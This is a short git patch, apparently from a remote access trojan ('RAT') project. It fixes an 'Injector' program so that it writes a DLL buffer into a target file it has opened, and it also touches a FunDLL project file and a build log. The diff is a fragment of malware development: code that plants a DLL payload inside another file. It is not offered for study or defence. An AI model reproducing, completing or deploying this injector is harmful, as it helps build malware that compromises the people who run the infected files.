From 0969e96a55375bb9a851b308413cf54bd2e04ccb Mon Sep 17 00:00:00 2001
From: hellisabove <59116609+hellisabove@users.noreply.github.com>
Date: Mon, 3 Jul 2023 03:10:07 +0300
Subject: [PATCH] Injector now works !
---
FunDLL/FunDLL.vcxproj | 2 +-
Injector/Source.cpp | 4 ++--
Injector/x64/Debug/Injector.log | 1 -
3 files changed, 3 insertions(+), 4 deletions(-)
diff --git a/FunDLL/FunDLL.vcxproj b/FunDLL/FunDLL.vcxproj
index 584e5c9..e8535df 100644
--- a/FunDLL/FunDLL.vcxproj
+++ b/FunDLL/FunDLL.vcxproj
@@ -137,7 +137,7 @@
true
true
true
- 5.01
+ 5.02
diff --git a/Injector/Source.cpp b/Injector/Source.cpp
index 0855b1c..19eee79 100644
--- a/Injector/Source.cpp
+++ b/Injector/Source.cpp
@@ -19,7 +19,7 @@ INT main(INT arg, PCHAR argv[]) {
if (x_file != INVALID_HANDLE_VALUE) {
DWORD file_size = GetFileSize(x_file, NULL);
PBYTE file_buffer = PBYTE(LocalAlloc(LPTR, file_size));
- DWORD returned_bytes;
+ DWORD returned_bytes, unused_bytes;
BOOL file_read = ReadFile(x_file, file_buffer, file_size, &returned_bytes, NULL);
if (file_read == TRUE && returned_bytes == file_size) {
@@ -63,7 +63,7 @@ INT main(INT arg, PCHAR argv[]) {
}
// add file
- WriteFile(x_file, file_buffer, file_size, &returned_bytes, NULL);
+ WriteFile(x_file, dll_buffer, dll_size, &unused_bytes, NULL);
}
}
LocalFree(dll_buffer);
diff --git a/Injector/x64/Debug/Injector.log b/Injector/x64/Debug/Injector.log
index 91aed5e..f142a7f 100644
--- a/Injector/x64/Debug/Injector.log
+++ b/Injector/x64/Debug/Injector.log
@@ -1,3 +1,2 @@
Source.cpp
-c:\users\hellisabove\source\repos\rat\injector\source.cpp(26): warning C4312: 'type cast': conversion from 'BOOL' to 'PIMAGE_DOS_HEADER' of greater size
Injector.vcxproj -> C:\Users\hellisabove\source\repos\RAT\x64\Debug\Injector.exe